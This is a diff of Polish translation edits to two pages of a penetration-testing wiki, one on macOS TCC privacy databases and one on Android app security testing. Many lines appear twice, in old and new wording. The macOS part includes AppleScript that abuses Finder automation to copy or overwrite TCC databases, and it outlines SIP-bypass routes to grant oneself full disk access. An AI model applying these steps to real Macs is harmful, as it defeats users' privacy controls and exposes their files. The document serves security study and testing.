- Ta baza danych jest chroniona, więc tylko procesy z wysokimi uprawnieniami TCC, takie jak Pełny dostęp do dysku, mogą do niej zapisać (ale nie jest chroniona przez SIP).
- Ta baza danych jest **chroniona przez SIP**, więc tylko obejście SIP może w nią zapisać.
- Baza danych TCC użytkownika **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** dla preferencji per użytkownik.
- Ta baza danych jest chroniona, więc tylko procesy z wysokimi uprawnieniami TCC, takie jak Pełny dostęp do dysku, mogą w nią zapisać (ale nie jest chroniona przez SIP).
> [!WARNING]
> Poprzednie bazy danych są również **chronione przez TCC dla dostępu do odczytu**. Więc **nie będziesz w stanie odczytać** swojej regularnej bazy danych TCC użytkownika, chyba że pochodzi z procesu z uprawnieniami TCC.
> Poprzednie bazy danych są również **chronione przez TCC dla dostępu do odczytu**. Więc **nie będziesz w stanie odczytać** swojej regularnej bazy danych TCC użytkownika, chyba że pochodzi ona z procesu z uprawnieniami TCC.
>
> Jednak pamiętaj, że proces z tymi wysokimi uprawnieniami (jak **FDA** lub **`kTCCServiceEndpointSecurityClient`**) będzie mógł zapisać bazę danych TCC użytkowników.
> Pamiętaj jednak, że proces z tymi wysokimi uprawnieniami (takimi jak **FDA** lub **`kTCCServiceEndpointSecurityClient`**) będzie mógł zapisać bazę danych TCC użytkowników.
- Istnieje **trzecia** baza danych TCC w **`/var/db/locationd/clients.plist`**, aby wskazać klientów, którym zezwolono na **dostęp do usług lokalizacji**.
- Istnieje **trzecia** baza danych TCC w **`/var/db/locationd/clients.plist`**, aby wskazać klientów, którym zezwolono na **dostęp do usług lokalizacyjnych**.
- Plik chroniony przez SIP **`/Users/carlospolop/Downloads/REG.db`** (również chroniony przed dostępem do odczytu z TCC) zawiera **lokację** wszystkich **ważnych baz danych TCC**.
- Plik chroniony przez SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (również chroniony przed dostępem do odczytu z TCC) zawiera więcej przyznanych uprawnień TCC.
- Plik chroniony przez SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (czytelny dla każdego) jest listą dozwolonych aplikacji, które wymagają wyjątku TCC.
- Plik chroniony przez SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (czytelny dla każdego) jest listą aplikacji, które wymagają wyjątku TCC.
> [!TIP]
> Baza danych TCC w **iOS** znajduje się w **`/private/var/mobile/Library/TCC/TCC.db`**.
@ -102,7 +102,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
{{#endtabs}}
> [!TIP]
> Sprawdzając obie bazy danych, możesz sprawdzić, jakie uprawnienia aplikacja przyznała, zabroniła lub ich nie ma (poprosi o nie).
> Sprawdzając obie bazy danych, możesz sprawdzić, jakie uprawnienia aplikacja przyznała, zabroniła lub ich nie ma (zostanie o to poproszona).
- **`service`** to reprezentacja ciągu uprawnień TCC
- **`client`** to **ID pakietu** lub **ścieżka do binarnego** z uprawnieniami
@ -152,8 +152,8 @@ Po prostu wykonaj **`launctl load you_bin.plist`**, z plistą taką jak:
</details>
- **`auth_value`** może mieć różne wartości: denied(0), unknown(1), allowed(2) lub limited(3).
- **`auth_reason`** może przyjąć następujące wartości: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
- Pole **csreq** jest używane do wskazania, jak zweryfikować binarny plik do wykonania i przyznania uprawnień TCC:
- **`auth_reason`** może przyjmować następujące wartości: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
- Pole **csreq** służy do wskazania, jak zweryfikować binarny plik do wykonania i przyznania uprawnień TCC:
```bash
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;
@ -176,7 +176,7 @@ Możesz również sprawdzić **już przyznane uprawnienia** dla aplikacji w `Sys
> [!TIP]
> Użytkownicy _mogą_ **usuwać lub zapytywać zasady** za pomocą **`tccutil`**.
#### Zresetuj uprawnienia TCC
#### Resetowanie uprawnień TCC
```bash
# You can reset all the permissions given to an application with
tccutil reset All app.some.id
@ -203,12 +203,12 @@ csreq -t -r /tmp/telegram_csreq.bin
### Uprawnienia i uprawnienia TCC
Aplikacje **nie tylko muszą** **prosić** i **otrzymać dostęp** do niektórych zasobów, ale także muszą **mieć odpowiednie uprawnienia**.\
Na przykład **Telegram** ma uprawnienie `com.apple.security.device.camera`, aby zażądać **dostępu do kamery**. Aplikacja, która **nie ma** tego **uprawnienia, nie będzie mogła** uzyskać dostępu do kamery (a użytkownik nie zostanie nawet poproszony o przyznanie uprawnień).
Aplikacje **nie tylko muszą** **żądać** i **otrzymać dostęp** do niektórych zasobów, ale także muszą **mieć odpowiednie uprawnienia**.\
Na przykład **Telegram** ma uprawnienie `com.apple.security.device.camera`, aby żądać **dostępu do kamery**. Aplikacja, która **nie ma** tego **uprawnienia, nie będzie mogła** uzyskać dostępu do kamery (a użytkownik nie zostanie nawet poproszony o przyznanie uprawnień).
Jednakże, aby aplikacje mogły **uzyskać dostęp** do **niektórych folderów użytkownika**, takich jak `~/Desktop`, `~/Downloads` i `~/Documents`, **nie muszą** mieć żadnych specyficznych **uprawnień.** System przejrzysto obsłuży dostęp i **poprosi użytkownika** w razie potrzeby.
Jednakże, aby aplikacje mogły **uzyskać dostęp** do **niektórych folderów użytkownika**, takich jak `~/Desktop`, `~/Downloads` i `~/Documents`, **nie muszą** mieć żadnych specyficznych **uprawnień.** System automatycznie obsłuży dostęp i **poprosi użytkownika** w razie potrzeby.
Aplikacje Apple **nie będą generować powiadomień**. Zawierają **wcześniej przyznane prawa** w swojej liście **uprawnień**, co oznacza, że **nigdy nie wygenerują okna dialogowego**, **ani** nie pojawią się w żadnej z **baz danych TCC.** Na przykład:
Aplikacje Apple **nie będą generować powiadomień**. Zawierają **wcześniej przyznane prawa** w swojej liście **uprawnień**, co oznacza, że **nigdy nie wygenerują okna popup**, **ani** nie pojawią się w żadnej z **baz danych TCC.** Na przykład:
```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
@ -222,7 +222,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
To uniknie, aby Kalendarz prosił użytkownika o dostęp do przypomnień, kalendarza i książki adresowej.
> [!TIP]
> Oprócz oficjalnej dokumentacji na temat uprawnień, możliwe jest również znalezienie nieoficjalnych **interesujących informacji o uprawnieniach w** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
> Oprócz oficjalnej dokumentacji dotyczącej uprawnień, możliwe jest również znalezienie nieoficjalnych **interesujących informacji o uprawnieniach w** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
Niektóre uprawnienia TCC to: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Nie ma publicznej listy, która definiuje wszystkie z nich, ale możesz sprawdzić tę [**listę znanych**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service).
@ -234,7 +234,7 @@ Niektóre uprawnienia TCC to: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCS
### Intencje użytkownika / com.apple.macl
Jak wspomniano wcześniej, możliwe jest **przyznanie dostępu aplikacji do pliku poprzez przeciągnięcie i upuszczenie go na nią**. Ten dostęp nie będzie określony w żadnej bazie danych TCC, ale jako **rozszerzony** **atrybut pliku**. Ten atrybut **przechowa UUID** dozwolonej aplikacji:
Jak wspomniano wcześniej, możliwe jest **przyznanie dostępu do aplikacji do pliku poprzez przeciągnięcie i upuszczenie go na nią**. Ten dostęp nie będzie określony w żadnej bazie danych TCC, ale jako **rozszerzony** **atrybut pliku**. Ten atrybut **przechowa UUID** dozwolonej aplikacji:
```bash
xattr Desktop/private.txt
com.apple.macl
@ -250,7 +250,7 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
```
> [!NOTE]
> Ciekawe, że atrybut **`com.apple.macl`** jest zarządzany przez **Sandbox**, a nie przez tccd.
> Ciekawe, że atrybut **`com.apple.macl`** jest zarządzany przez **Sandbox**, a nie tccd.
>
> Zauważ również, że jeśli przeniesiesz plik, który pozwala na UUID aplikacji na swoim komputerze do innego komputera, ponieważ ta sama aplikacja będzie miała różne UIDs, nie przyzna dostępu do tej aplikacji.
@ -324,7 +324,7 @@ macos-apple-events.md
### Automatyzacja (Finder) do FDA\*
Nazwa TCC dla uprawnienia Automatyzacji to: **`kTCCServiceAppleEvents`**\
Nazwa TCC uprawnienia Automatyzacji to: **`kTCCServiceAppleEvents`**\
To konkretne uprawnienie TCC wskazuje również **aplikację, która może być zarządzana** w bazie danych TCC (więc uprawnienia nie pozwalają tylko na zarządzanie wszystkim).
**Finder** to aplikacja, która **zawsze ma FDA** (nawet jeśli nie pojawia się w interfejsie użytkownika), więc jeśli masz **uprawnienia Automatyzacji** nad nią, możesz wykorzystać jej uprawnienia, aby **wykonać pewne akcje**.\
@ -345,7 +345,7 @@ EOD
```
{{#endtab}}
{{#tab name="Kradzież systemów TCC.db"}}
{{#tab name="Steal systems TCC.db"}}
```applescript
osascript<<EOD
tell application "Finder"
@ -361,7 +361,7 @@ EOD
Możesz to wykorzystać do **napisania własnej bazy danych TCC użytkownika**.
> [!WARNING]
> Dzięki temu uprawnieniu będziesz mógł **poprosić Findera o dostęp do folderów z ograniczeniami TCC** i uzyskać pliki, ale o ile mi wiadomo, **nie będziesz mógł zmusić Findera do wykonania dowolnego kodu**, aby w pełni wykorzystać jego dostęp do FDA.
> Z tym uprawnieniem będziesz mógł **poprosić Findera o dostęp do folderów ograniczonych przez TCC** i uzyskać pliki, ale o ile mi wiadomo, **nie będziesz mógł zmusić Findera do wykonania dowolnego kodu**, aby w pełni wykorzystać jego dostęp do FDA.
>
> Dlatego nie będziesz mógł w pełni wykorzystać możliwości FDA.
@ -444,9 +444,9 @@ rm "$HOME/Desktop/file"
```
### Automatyzacja (SE) + Dostępność (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** do FDA\*
Automatyzacja na **`System Events`** + Dostępność (**`kTCCServicePostEvent`**) pozwala na wysyłanie **naciśnięć klawiszy do procesów**. W ten sposób można nadużyć Findera, aby zmienić TCC.db użytkownika lub przyznać FDA dowolnej aplikacji (chociaż może być wymagane hasło).
Automatyzacja na **`System Events`** + Dostępność (**`kTCCServicePostEvent`**) pozwala na wysyłanie **naciśnięć klawiszy do procesów**. W ten sposób można nadużyć Findera, aby zmienić TCC.db użytkowników lub przyznać FDA dowolnej aplikacji (chociaż może być wymagane hasło).
Przykład nadpisywania TCC.db użytkownika przez Findera:
Przykład nadpisania TCC.db użytkowników przez Findera:
```applescript
-- store the TCC.db file to copy in /tmp
osascript <<EOF
@ -494,9 +494,9 @@ EOF
```
### `kTCCServiceAccessibility` do FDA\*
Sprawdź tę stronę, aby uzyskać kilka [**ładunków do nadużywania uprawnień Dostępności**](macos-tcc-payloads.md#accessibility) do privesc do FDA\* lub uruchomienia keyloggera na przykład.
Sprawdź tę stronę, aby uzyskać [**ładunki do nadużywania uprawnień Dostępności**](macos-tcc-payloads.md#accessibility) do privesc do FDA\* lub uruchomienia keyloggera na przykład.
### **Klient Bezpieczeństwa Punktu do FDA**
### **Klient Bezpieczeństwa Endpoint do FDA**
Jeśli masz **`kTCCServiceEndpointSecurityClient`**, masz FDA. Koniec.
@ -506,26 +506,26 @@ Jeśli masz **`kTCCServiceEndpointSecurityClient`**, masz FDA. Koniec.
### Baza Danych TCC Użytkownika do FDA
Uzyskując **uprawnienia do zapisu** w bazie danych **TCC użytkownika**, nie możesz przyznać sobie **`FDA`** uprawnień, tylko ten, który znajduje się w bazie danych systemowej, może to przyznać.
Uzyskując **uprawnienia do zapisu** w bazie danych **TCC użytkownika**, nie możesz przyznać sobie uprawnień **`FDA`**, tylko ten, który znajduje się w bazie danych systemowej, może to przyznać.
Ale możesz **przyznać** sobie **`Prawa Automatyzacji do Findera`** i nadużyć poprzedniej techniki, aby uzyskać dostęp do FDA\*.
### **FDA do uprawnień TCC**
**Pełny dostęp do dysku** to nazwa TCC **`kTCCServiceSystemPolicyAllFiles`**
**Pełny dostęp do dysku** w TCC nazywa się **`kTCCServiceSystemPolicyAllFiles`**.
Nie sądzę, że to jest prawdziwe privesc, ale na wszelki wypadek, jeśli uznasz to za przydatne: Jeśli kontrolujesz program z FDA, możesz **zmodyfikować bazę danych TCC użytkowników i przyznać sobie dowolny dostęp**. Może to być przydatne jako technika utrzymywania dostępu w przypadku, gdy możesz stracić swoje uprawnienia FDA.
### **Obejście SIP do Obejścia TCC**
Baza danych **TCC systemu** jest chroniona przez **SIP**, dlatego tylko procesy z **wskazanymi uprawnieniami będą mogły ją modyfikować**. Dlatego, jeśli atakujący znajdzie **obejście SIP** nad **plikem** (będzie mógł modyfikować plik ograniczony przez SIP), będzie mógł:
Baza danych **TCC systemu** jest chroniona przez **SIP**, dlatego tylko procesy z **wskazanymi uprawnieniami będą mogły ją modyfikować**. Dlatego, jeśli atakujący znajdzie **obejście SIP** dla **pliku** (będzie mógł modyfikować plik ograniczony przez SIP), będzie mógł:
- **Usunąć ochronę** bazy danych TCC i przyznać sobie wszystkie uprawnienia TCC. Może nadużyć dowolnego z tych plików, na przykład:
- Baza danych systemowa TCC
- REG.db
- MDMOverrides.plist
Jednak istnieje inna opcja, aby nadużyć tego **obejścia SIP do obejścia TCC**, plik `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` jest listą dozwolonych aplikacji, które wymagają wyjątku TCC. Dlatego, jeśli atakujący może **usunąć ochronę SIP** z tego pliku i dodać swoją **własną aplikację**, aplikacja będzie mogła obejść TCC.\
Jednak istnieje inna opcja, aby nadużyć tego **obejścia SIP do obejścia TCC**, plik `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` jest listą dozwolonych aplikacji, które wymagają wyjątku TCC. Dlatego, jeśli atakujący może **usunąć ochronę SIP** z tego pliku i dodać swoją **własną aplikację**, aplikacja ta będzie mogła obejść TCC.\
Na przykład, aby dodać terminal:
```bash
# Get needed info

View File

@ -1,10 +1,10 @@
# Testowanie aplikacji na Androida
# Pentesting aplikacji Android
{{#include ../../banners/hacktricks-training.md}}
## Podstawy aplikacji na Androida
## Podstawy aplikacji Android
Zaleca się rozpoczęcie od przeczytania tej strony, aby poznać **najważniejsze aspekty związane z bezpieczeństwem Androida oraz najbardziej niebezpieczne komponenty w aplikacji na Androida**:
Zaleca się rozpoczęcie od przeczytania tej strony, aby poznać **najważniejsze części związane z bezpieczeństwem Androida oraz najbardziej niebezpieczne komponenty w aplikacji Android**:
{{#ref}}
android-applications-basics.md
@ -12,19 +12,19 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
To główne narzędzie, którego potrzebujesz, aby połączyć się z urządzeniem z Androidem (emulowanym lub fizycznym).\
**ADB** umożliwia kontrolowanie urządzeń zarówno przez **USB**, jak i **sieć** z komputera. To narzędzie pozwala na **kopiowanie** plików w obie strony, **instalację** i **odinstalację** aplikacji, **wykonywanie** poleceń powłoki, **tworzenie kopii zapasowych** danych, **odczytywanie** logów, wśród innych funkcji.
To główne narzędzie, którego potrzebujesz, aby połączyć się z urządzeniem android (emulowanym lub fizycznym).\
**ADB** pozwala na kontrolowanie urządzeń zarówno przez **USB**, jak i **sieć** z komputera. To narzędzie umożliwia **kopiowanie** plików w obie strony, **instalację** i **odinstalację** aplikacji, **wykonywanie** poleceń powłoki, **tworzenie kopii zapasowych** danych, **odczytywanie** logów, wśród innych funkcji.
Zobacz poniższą listę [**Poleceń ADB**](adb-commands.md), aby dowiedzieć się, jak używać adb.
Zobacz poniższą listę [**komend ADB**](adb-commands.md), aby dowiedzieć się, jak używać adb.
## Smali
Czasami interesujące jest **modyfikowanie kodu aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (może dobrze obfuskowanych haseł lub flag). Wtedy może być interesujące dekompilowanie apk, modyfikowanie kodu i ponowne kompilowanie go.\
[**W tym samouczku** możesz **nauczyć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Dlatego **zawsze miej na uwadze tę możliwość**.
[**W tym samouczku** możesz **dowiedzieć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Dlatego **zawsze miej na uwadze tę możliwość**.
## Inne interesujące triki
- [Podrabianie lokalizacji w Sklepie Play](spoofing-your-location-in-play-store.md)
- [Podrabianie swojej lokalizacji w Sklepie Play](spoofing-your-location-in-play-store.md)
- **Pobieranie APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Ekstrakcja APK z urządzenia:
```bash
@ -52,7 +52,7 @@ Proszę, [**przeczytaj tutaj, aby znaleźć informacje o różnych dostępnych d
### Szukanie interesujących informacji
Samo spojrzenie na **ciągi** APK pozwala na wyszukiwanie **haseł**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **kluczy** **api**, **szyfrowania**, **uuid bluetooth**, **tokenów** i wszystkiego, co może być interesujące... szukaj nawet **tylnych drzwi** do wykonania kodu lub tylnych drzwi autoryzacyjnych (twardo zakodowane dane logowania administratora do aplikacji).
Samo spojrzenie na **ciągi** w APK pozwala na wyszukiwanie **haseł**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **kluczy** **api**, **szyfrowania**, **uuid bluetooth**, **tokenów** i wszystkiego, co może być interesujące... szukaj nawet **tylnych drzwi** do wykonania kodu lub tylnych drzwi uwierzytelniających (twardo zakodowane dane logowania administratora do aplikacji).
**Firebase**
@ -60,15 +60,15 @@ Zwróć szczególną uwagę na **adresy URL Firebase** i sprawdź, czy są źle
### Podstawowe zrozumienie aplikacji - Manifest.xml, strings.xml
**Badanie plików \_Manifest.xml**_\*\* i \*\*_**strings.xml**\_\*\* może ujawnić potencjalne luki w zabezpieczeniach\*\*. Pliki te można uzyskać za pomocą dekompilatorów lub przez zmianę rozszerzenia pliku APK na .zip, a następnie rozpakowanie go.
**Badanie plików _Manifest.xml_ i _strings.xml_ aplikacji może ujawnić potencjalne luki w zabezpieczeniach**. Pliki te można uzyskać za pomocą dekompilatorów lub przez zmianę rozszerzenia pliku APK na .zip, a następnie rozpakowanie go.
**Luki** zidentyfikowane w **Manifest.xml** obejmują:
- **Aplikacje debugowalne**: Aplikacje ustawione jako debugowalne (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ pozwalają na połączenia, które mogą prowadzić do wykorzystania. Aby uzyskać dalsze zrozumienie, jak wykorzystać aplikacje debugowalne, zapoznaj się z samouczkiem na temat znajdowania i wykorzystywania aplikacji debugowalnych na urządzeniu.
- **Aplikacje debugowalne**: Aplikacje ustawione jako debugowalne (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ pozwalają na połączenia, które mogą prowadzić do wykorzystania. Aby lepiej zrozumieć, jak wykorzystać aplikacje debugowalne, zapoznaj się z samouczkiem na temat znajdowania i wykorzystywania aplikacji debugowalnych na urządzeniu.
- **Ustawienia kopii zapasowej**: Atrybut `android:allowBackup="false"` powinien być wyraźnie ustawiony dla aplikacji zajmujących się wrażliwymi informacjami, aby zapobiec nieautoryzowanym kopiom zapasowym danych za pomocą adb, szczególnie gdy debugowanie USB jest włączone.
- **Bezpieczeństwo sieci**: Niestandardowe konfiguracje bezpieczeństwa sieci (`android:networkSecurityConfig="@xml/network_security_config"`) w _res/xml/_ mogą określać szczegóły bezpieczeństwa, takie jak przypinanie certyfikatów i ustawienia ruchu HTTP. Przykładem jest zezwolenie na ruch HTTP dla określonych domen.
- **Eksportowane aktywności i usługi**: Identyfikacja eksportowanych aktywności i usług w manifeście może uwydatnić komponenty, które mogą być nadużywane. Dalsza analiza podczas testów dynamicznych może ujawnić, jak wykorzystać te komponenty.
- **Dostawcy treści i FileProviders**: Ujawnieni dostawcy treści mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders powinna być również dokładnie sprawdzona.
- **Dostawcy treści i FileProviders**: Odkryte dostawcy treści mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders powinna być również dokładnie sprawdzona.
- **Odbiorniki rozgłoszeniowe i schematy URL**: Te komponenty mogą być wykorzystywane do eksploatacji, z szczególną uwagą na to, jak zarządzane są schematy URL w kontekście luk wejściowych.
- **Wersje SDK**: Atrybuty `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` wskazują obsługiwane wersje Androida, podkreślając znaczenie nieobsługiwania przestarzałych, podatnych wersji Androida z powodów bezpieczeństwa.
@ -76,8 +76,8 @@ Z pliku **strings.xml** można odkryć wrażliwe informacje, takie jak klucze AP
### Tapjacking
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika, aby z nią interagował, podczas gdy przekazuje interakcję do aplikacji ofiary.\
W efekcie **oślepia użytkownika, nie pozwalając mu wiedzieć, że faktycznie wykonuje akcje w aplikacji ofiary**.
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika do interakcji z nią, podczas gdy przekazuje interakcję do aplikacji ofiary.\
W efekcie, **oślepia użytkownika, nie pozwalając mu wiedzieć, że faktycznie wykonuje akcje w aplikacji ofiary**.
Więcej informacji znajdziesz w:
@ -87,7 +87,7 @@ tapjacking.md
### Przechwytywanie zadań
**Aktywność** z ustawionym **`launchMode`** na **`singleTask`** bez zdefiniowanego `taskAffinity` jest podatna na przechwytywanie zadań. Oznacza to, że **aplikacja** może być zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przechwycić zadanie prawdziwej aplikacji** (więc użytkownik będzie interagował z **złośliwą aplikacją, myśląc, że używa prawdziwej**).
**Aktywność** z ustawionym **`launchMode`** na **`singleTask` bez zdefiniowanego `taskAffinity`** jest podatna na przechwytywanie zadań. Oznacza to, że **aplikacja** może być zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przechwycić zadanie prawdziwej aplikacji** (więc użytkownik będzie interagował z **złośliwą aplikacją, myśląc, że używa prawdziwej**).
Więcej informacji w:
@ -95,16 +95,16 @@ Więcej informacji w:
android-task-hijacking.md
{{#endref}}
### Niezabezpieczone przechowywanie danych
### Niebezpieczne przechowywanie danych
**Przechowywanie wewnętrzne**
W Androidzie pliki **przechowywane** w **przechowywaniu wewnętrznym****zaplanowane** do bycia **dostępnymi** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **pozwolić** na **dzielenie się** plikami między różnymi aplikacjami. Niemniej jednak, te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe.
W Androidzie pliki **przechowywane** w **przechowywaniu wewnętrznym****zaplanowane** do **dostępu** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **zezwolić** na **dzielenie się** plikami między różnymi aplikacjami. Niemniej jednak, te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe.
1. **Analiza statyczna:**
- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **dokładnie sprawdzane**. Te tryby **mogą potencjalnie ujawniać** pliki **niezamierzonym lub nieautoryzowanym dostępem**.
- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **starannie analizowane**. Te tryby **mogą potencjalnie ujawniać** pliki **niezamierzonym lub nieautoryzowanym dostępem**.
2. **Analiza dynamiczna:**
- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. Szczególnie **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić poważne ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia lub zamiaru, na **odczyt lub modyfikację** tych plików.
- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. Szczególnie **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia lub zamiaru, na **odczyt lub modyfikację** tych plików.
**Przechowywanie zewnętrzne**
@ -116,14 +116,14 @@ Podczas pracy z plikami na **przechowywaniu zewnętrznym**, takim jak karty SD,
- Biorąc pod uwagę łatwość dostępu, zaleca się **nieprzechowywanie wrażliwych informacji** na zewnętrznym przechowywaniu.
- Zewnętrzne przechowywanie może być usunięte lub dostępne przez każdą aplikację, co czyni je mniej bezpiecznym.
3. **Obsługa danych z zewnętrznego przechowywania**:
- Zawsze **przeprowadzaj walidację wejścia** na danych pobranych z zewnętrznego przechowywania. Jest to kluczowe, ponieważ dane pochodzą z nieznanego źródła.
- Zawsze **przeprowadzaj walidację wejścia** na danych pobranych z zewnętrznego przechowywania. To jest kluczowe, ponieważ dane pochodzą z nieznanego źródła.
- Przechowywanie plików wykonywalnych lub klas na zewnętrznym przechowywaniu do dynamicznego ładowania jest zdecydowanie odradzane.
- Jeśli Twoja aplikacja musi pobierać pliki wykonywalne z zewnętrznego przechowywania, upewnij się, że te pliki są **podpisane i weryfikowane kryptograficznie** przed ich dynamicznym załadowaniem. Ten krok jest kluczowy dla utrzymania integralności bezpieczeństwa Twojej aplikacji.
- Jeśli Twoja aplikacja musi pobrać pliki wykonywalne z zewnętrznego przechowywania, upewnij się, że te pliki są **podpisane i weryfikowane kryptograficznie** przed ich dynamicznym załadowaniem. Ten krok jest kluczowy dla utrzymania integralności bezpieczeństwa Twojej aplikacji.
Zewnętrzne przechowywanie można **uzyskać** w `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
> [!NOTE]
> Począwszy od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji uzyskiwaniu dostępu do plików innej aplikacji w trybie odczytu lub zapisu.
> Począwszy od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji w uzyskaniu dostępu do plików innej aplikacji.
**Wrażliwe dane przechowywane w postaci niezaszyfrowanej**
@ -141,20 +141,20 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
Dobrą metodą na przetestowanie tego jest próba przechwycenia ruchu za pomocą jakiegoś proxy, takiego jak Burp, bez autoryzowania Burp CA na urządzeniu. Możesz również wygenerować za pomocą Burp certyfikat dla innej nazwy hosta i go użyć.
### Uszkodzona kryptografia
### Broken Cryptography
**Słabe procesy zarządzania kluczami**
Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/łatwym do przewidzenia w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie inżynieryjne może pozwolić atakującym na wydobycie poufnych informacji.
Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/predykcyjnym w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie może pozwolić atakującym na wydobycie poufnych informacji.
**Użycie niebezpiecznych i/lub przestarzałych algorytmów**
Deweloperzy nie powinni używać **przestarzałych algorytmów** do przeprowadzania **sprawdzania** **autoryzacji**, **przechowywania** lub **wysyłania** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli **hashe** są używane do przechowywania haseł, powinny być używane hashe odporne na brute-force z solą.
Deweloperzy nie powinni używać **przestarzałych algorytmów** do przeprowadzania **sprawdzania** autoryzacji, **przechowywania** lub **wysyłania** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli **hashe** są używane do przechowywania haseł, powinny być używane hashe odporne na brute-force z solą.
### Inne kontrole
- Zaleca się **obfuskację APK**, aby utrudnić atakującym pracę inżynieryjną.
